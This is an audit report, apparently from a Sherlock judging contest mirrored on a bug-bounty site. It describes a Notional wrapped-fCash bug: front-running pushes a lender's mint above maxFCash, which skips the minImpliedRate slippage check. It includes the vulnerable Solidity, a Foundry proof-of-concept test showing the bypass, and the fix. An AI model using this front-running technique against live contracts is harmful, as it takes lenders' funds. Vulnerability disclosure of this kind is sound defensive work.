Lender transactions can be front-run, leading to lost funds
The mintViaUnderlying function skips the minImpliedRate slippage check when the requested fCash amount exceeds the available maxFCash, causing the transaction to proceed at a zero interest rate. An attacker can front-run a lender's transaction to push the amount above maxFCash, bypassing slippage protection and causing the lender to lose funds.
Source: https://github.com/sherlock-audit/2023-12-notional-update-5-judging/issues/6
Found by
bin2chen, coffiasd
Summary
Users can mint wfCash tokens via mintViaUnderlying by passing a variable minImpliedRate to guard against trade slippage. If the market interest is lower than expected by the user, the transaction will revert due to slippage protection. However, if the user mints a share larger than maxFCash, the minImpliedRate check is not performed.
Vulnerability Detail
User invoke mintViaUnderlying to mint shares:
https://github.com/sherlock-audit/2023-12-notional-update-5/blob/3bf2fb5d992dfd5aa7343d7788e881d3a4294b13/wrapped-fcash/contracts/wfCashLogic.sol#L25-L33
function mintViaUnderlying(
uint256 depositAmountExternal,
uint88 fCashAmount,
address receiver,
uint32 minImpliedRate//@audit when lendAmount bigger than maxFCash lack of minRate protect.
) external override {
(/* */, uint256 maxFCash) = getTotalFCashAvailable();
_mintInternal(depositAmountExternal, fCashAmount, receiver, minImpliedRate, maxFCash);
}
let's dive into _mintInternal we can see if maxFCash < fCashAmount , the vaule of minImpliedRate is not checked
https://github.com/sherlock-audit/2023-12-notional-update-5/blob/3bf2fb5d992dfd5aa7343d7788e881d3a4294b13/wrapped-fcash/contracts/wfCashLogic.sol#L60-L68
if (maxFCash < fCashAmount) {
// NOTE: lending at zero
uint256 fCashAmountExternal = fCashAmount * precision / uint256(Constants.INTERNAL_TOKEN_PRECISION);//@audit-info fCashAmount * (underlyingTokenDecimals) / 1e8
require(fCashAmountExternal <= depositAmountExternal);
// NOTE: Residual (depositAmountExternal - fCashAmountExternal) will be transferred
// back to the account
NotionalV2.depositUnderlyingToken{value: msgValue}(address(this), currencyId, fCashAmountExternal);//@audit check this.
}
Imagine the following scenario:
- lender deposit Underlying token to mint some shares and set a
minImpliedRateto protect the trsanction - alice front-run her transaction invoke
mintto mint some share - the shares of lender mint now is bigger than
maxFCash - now the lender
lending at zero
function testDepositViaUnderlying() public {
address alice = makeAddr("alice");
deal(address(asset), LENDER, 8800 * precision, true);
deal(address(asset), alice, 5000 * precision, true);
//alice deal.
vm.stopPrank();
vm.startPrank(alice);
asset.approve(address(w), type(uint256).max);
//==============================LENDER START=============================//
vm.stopPrank();
vm.startPrank(LENDER);
asset.approve(address(w), type(uint256).max);
//user DAI balance before:
assertEq(asset.balanceOf(LENDER), 8800e18);
(/* */, uint256 maxFCash) = w.getTotalFCashAvailable();
console2.log("current maxFCash:",maxFCash);
//LENDER mintViaUnderlying will revert due to slippage.
uint32 minImpliedRate = 0.15e9;
vm.expectRevert("Trade failed, slippage");
w.mintViaUnderlying(5000e18,5000e8,LENDER,minImpliedRate);
//==============================LENDER END=============================//
//======================alice frontrun to mint some shares.============//
vm.stopPrank();
vm.startPrank(alice);
w.mint(5000e8,alice);
//==========================LENDER TX =================================//
vm.stopPrank();
vm.startPrank(LENDER);
asset.approve(address(w), type(uint256).max);
//user DAI balance before:
assertEq(asset.balanceOf(LENDER), 8800e18);
//LENDER mintViaUnderlying will success.
w.mintViaUnderlying(5000e18,5000e8,LENDER,minImpliedRate);
console2.log("lender mint token:",w.balanceOf(LENDER));
console2.log("lender cost DAI:",8800e18 - asset.balanceOf(LENDER));
}
From the above test, we can observe that if maxFCasha is greater than 5000e8, the lender's transaction will be reverted due to "Trade failed, slippage." Subsequently, if Alice front-runs by invoking mint to create some shares before the lender, the lender's transaction will succeed. Therefore, the lender's minImpliedRate check will be bypassed, leading to a loss of funds for the lender.
Impact
lender lost of funds
Code Snippet
if (maxFCash < fCashAmount) {
// NOTE: lending at zero
uint256 fCashAmountExternal = fCashAmount * precision / uint256(Constants.INTERNAL_TOKEN_PRECISION);//@audit-info fCashAmount * (underlyingTokenDecimals) / 1e8
require(fCashAmountExternal <= depositAmountExternal);
// NOTE: Residual (depositAmountExternal - fCashAmountExternal) will be transferred
// back to the account
NotionalV2.depositUnderlyingToken{value: msgValue}(address(this), currencyId, fCashAmountExternal);//@audit check this.
}
Tool used
Foundry Manual Review
Recommendation
add a check inside _mintInternal
if (maxFCash < fCashAmount) {
+ require(minImpliedRate ==0,"Trade failed, slippage");
// NOTE: lending at zero
uint256 fCashAmountExternal = fCashAmount * precision / uint256(Constants.INTERNAL_TOKEN_PRECISION);//@audit-info fCashAmount * (underlyingTokenDecimals) / 1e8
require(fCashAmountExternal <= depositAmountExternal);
// NOTE: Residual (depositAmountExternal - fCashAmountExternal) will be transferred
// back to the account
NotionalV2.depositUnderlyingToken{value: msgValue}(address(this), currencyId, fCashAmountExternal);//@audit check this.
}
Discussion
sherlock-admin2
1 comment(s) were left on this issue during the judging contest.
takarez commented:
valid because { This is valid as the watson explained how the slippage chack can be bypassed via front-running the users deposit}
sherlock-admin
The protocol team fixed this issue in PR/commit https://github.com/notional-finance/wrapped-fcash/pull/16.
sherlock-admin
The Lead Senior Watson signed-off on the fix.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely, the code path for fCashAmount greater than maxFCash does not enforce the minImpliedRate slippage protection.
Impact
The lender could lose funds because their transaction executes at zero interest instead of the minimum rate they specified.
What the attacker needed
Lender uses mintViaUnderlying with minImpliedRate; attacker can front-run the transaction
The fix
The protocol team fixed this issue in a pull request.
How it was found
- Lender calls mintViaUnderlying with a minImpliedRate to protect against slippage.
- Alice front-runs by calling mint to create shares, increasing the total fCash used.
- Lender's transaction now has fCashAmount greater than maxFCash, so the minImpliedRate check is skipped.
- Lender's transaction succeeds but lends at zero interest, causing a loss.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When you lend money through this contract, you can set a minimum interest rate to avoid getting a bad deal. The code forgets to check that minimum if your deposit is larger than what the contract can currently lend out, so it gives you zero interest instead. An attacker can make your deposit exceed that limit by acting first, so you lose the interest you expected.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.